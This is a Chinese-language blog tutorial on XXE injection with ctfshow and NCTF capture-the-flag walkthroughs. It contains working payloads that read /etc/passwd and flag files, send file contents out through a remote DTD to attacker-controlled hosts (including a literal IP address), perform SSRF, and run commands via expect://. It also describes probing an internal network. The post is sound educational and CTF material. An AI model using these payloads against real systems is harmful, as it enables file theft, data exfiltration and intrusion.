浅谈XXE漏洞

随笔3周前发布 遥遥
2 0 0

可怕的期末周终于过去了(其实24号就考完了,歇了好几天重新回归写点博客)
这次谈谈一个web很古老的漏洞 xxe漏洞,虽然一般的xxe漏洞感觉很鸡肋,没啥太大危害但是能用好还是很不容易的

XXE漏洞

xml外部实体注入,外部实体就是除了xml文档本身外需要引入的资源。其中包含了本地文件和远程文件
漏洞成因是大部分应用忽略了XML的扩展性,解析引擎解析xml时候没有对外部实体进行限制。利用外部实体注入,读取本地文件表现为任意文件读取。读取远程文件会表现成ssrf
危害:文件读取,ssrf,rce
xml基本格式:

Copy<?xml version="1.0" encoding="UTF-8"?>  				//开头需要声明
<root> 									//必须包含一个根元素
    <child>								//子元素
        <subchild></subchild>
    </child>
</root>									//所有元素都需要有对应的关闭标签

DTD

DTD(Document Type Definition,文档类型定义)是一种用于描述XML文档结构的标记语言。它定义了XML文档中元素和属性的规则,以确保文档的格式和结构符合特定的标准或规范。
DTD使用一种类似于SGML的语法来定义元素和属性的规则。通过DTD,您可以指定元素的名称、属性类型、顺序和嵌套规则。
一个简单的DTD示例如下:

Copy<!ELEMENT note (from, heading, body)>  
<!ELEMENT from (#PCDATA)>  
<!ELEMENT heading (#PCDATA)>  
<!ELEMENT body (#PCDATA)>

这个DTD定义了一个名为”note”的元素,它包含三个子元素:”from”、”heading”和”body”。每个子元素都由文本数据(#PCDATA)组成。
使用DTD,您可以确保XML文档的格式和结构符合预期的规范,以便在不同的系统和应用程序之间进行可靠的交换和处理。通过使用DTD,还可以对XML文档进行验证,以确保其符合定义的规则和标准。
DTD中实体可以分为内部实体和外部实体,还可以分为参数实体
内部实体声明:(在DTD内部声明)
语法:<!ENTITY entity-name "entity-value">
示例:

Copy<!DOCTYPE author[
<!ELEMRNT author (#PCDATA)
<!ENTITY name "Restart">
]>
<author>&name;</author>//引用实体

外部实体声明:(在DTD外部声明实体)
语法:<!ENTITY entity-name SYSTEM "URL/URI">
示例:

Copy<!DOCTYPE author [
<!ENTITY name SYSTEM "author.dtd">
]>
<author>&name;</author>//引用实体

参数实体
语法:<!ENTITY % entity-name "entity-value">
示例:

Copy<!DOCTYPE author[
<!ENTITY % name "Restart">
]>
<author>%name;</author>

文件读取

一个简单的payload

Copy<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [                                             
      <!ENTITY b SYSTEM "file:///etc//passwd">  
]>                                                                    
<note time="2024.01.27">
<from>Erebus</from>
<heading>reminder</heading>
<body>&b;</body>
</note>

那么在无回显的时候该怎么办呢?得想办法把文件带出来
完整的攻击流程如下
1.攻击者发送xml request给目标网站
2.目标网站解析xml文件,触发漏洞
3.目标网站将文件内容发送到攻击者的服务器上面

Copy<?xml version="1.0"?>
<!DOCTYPE ANY[
    <!ENTITY % file SYSTEM  " file:///etc/passwd">
    <!ENTITY % all  
    "<!ENTITY % send  SYSTEM 'http://target-ip:port/?%file;'>">
%all;]
>
<test>a</test>

但是这个时候可能会报错,因为不允许内部DTD中引入参数实体。这时候变化思路
1.攻击者发送xml reqeust给目标网站,
2.目标网站远程加载DTD执行
3.解析xml,实现外部实体注入
4.将目标文件内容发送到服务区
可以使用下面的payload

Copy<?xml version="1.0"?>
<!DOCTYPE ANY[
    <!ENTITY % file SYSTEM "php://filter/read=conver.base64-encode/resource=file:///etc/passwd">
    <!ENTITY % dtd SYSTEM "http://ip:port/a.dtd">
    %dtd;
    %send;
]>

然后自己写一个a.dtd

Copy<!ENTITY % all
    "<!ENTITY % send SYSTEM "http://ip:port/?%file">">

可以看到解析器解析的时候引用参数实体%dtd将远程的a.dtd文件导入进来,然后引用参数实体%send,这个会发送http请求
并且参数里面还有使用file的实体应用并且发出去。打开端口监听就可以得到文件内容了

XXE用于SSRF

这个其实和任意文件读取差不多,主要是在ENTITY里面发送请求,成为了SSRF的接口。
技巧也差不多
比如一个最简单的ssrf_payload,这一个其实还可以用来内网渗透

Copy<?xml version='1.0'?>
<!DOCTYPE ANY [
        <!ENTITY % ssrf SYSTEM "http://target-ip:port">
%ssrf;
]>

值得注意的是xml中不仅是entity可以实现ssrf,DOCTYPE也是可以的。但是这个时候就是普通的ssrf了不属于xxe了。因为不是外部实体

XXE实现命令执行

这个条件比较苛刻,得让php开Except模式才可以实现命令执行

Copy<!DOCTYPE xxe [
<!ELEMENT name ANY > 
<!ENTITY xxe SYSTEM "expect://ifconfig">]>
<root>
<name>&xxe;</name>
</root>

无回显外带

有时候可能会出现一些无回显的情况,这时候应该可以尝试使用DNSlog来测试是否存在xxe
浅谈XXE漏洞
还可以使用bp的插件collaborator工具
浅谈XXE漏洞
原理就是将这个工具随机产生的url复制到xxe的payload中,当目标服务器进行了外部的请求和交互,该工具会记录下来,于是证明了漏洞存在。

实战

ctfshow-373
直接看到源码,直接开启了外部实体注入。
浅谈XXE漏洞
这里就是直接将我们post请求体部分直接当作xml解析了,然后创建的DOMdocument对象就是用来解析和控制xml的
这里他将input解析进去而且开启了dtd加载。
那直接抓包修改xml就ok了,注意是post请求才行
payload

Copy<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<Erebus>
<ctfshow>&xxe;</ctfshow>
</Erebus>

浅谈XXE漏洞

ctfshow-374
浅谈XXE漏洞

这个源码就和上一个不一样了,上一个打印了$ctfshow,所以我们可以直接在xml定义变量ctfshow指定实体引用就可以打印了。但是这个没有直接回显。我们得把数据外带出来。看到这里开启dtd远程加载就懂了
payload

Copy<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://192.144.213.79/test.dtd">%aaa;]>
<root>123</root>
1.先发送一个xml被解析,创建一个外部实体file,value就是flag(利用外部实体)
2.之后远程加载dtd文件,dtd中创建实体时访问搭建的服务器,并且传参file
3.远程服务器开启监听,并且创建dtd文件可被访问

自己搭建一个服务器接受请求,还得开启web server能够访问到test.dtd
浅谈XXE漏洞
之后开启监听就完事了

Copy

浅谈XXE漏洞
浅谈XXE漏洞
浅谈XXE漏洞

成共获取flag

ctfshow-375,376
可以使用374相同的方法得到flag,不再赘述。虽然进行一些过滤但是根本没用
浅谈XXE漏洞

ctfshow-377
这里也是一个小过滤,过滤了http,那么可以使用编码绕过。思路还是和之前一样。靠远程dtd文件加载实现外带
这里要编码所以直接脚本就行
浅谈XXE漏洞

ctfshow-378
虽然看不到源码了,但还是默认可以外部实体注入的。而且惊奇发现居然有username回显,那不就好办了
直接创造外部实体然后回显就完事了
浅谈XXE漏洞

ctfshow上的XXE都算比较基础,而且都是文件读取的效果(外带的时候也有一点ssrf)
但其实xxe还可以用来内网渗透
比如NCTF2019 True XML cookbook https://buuoj.cn/challenges#[NCTF2019]True XML cookbook
浅谈XXE漏洞

首先还是先抓包看看
浅谈XXE漏洞

post请求体是标准的xml结构,而且还是有回显的,直接外带试试flag
但是报错了 读取/etc/passwd倒是可以。这说明可能没有/flag这个文件了
这时候可以看看内网情况

Copy/etc/hosts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie

然后借xxe发送请求,先看到/proc/net/arp中的10.128.253.12爆破一下c端,都失败了
接着找找发现了10.244.80.128,再次爆破
爆破时间有点长,最后在141爆破出来了😊
浅谈XXE漏洞

© 版权声明

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...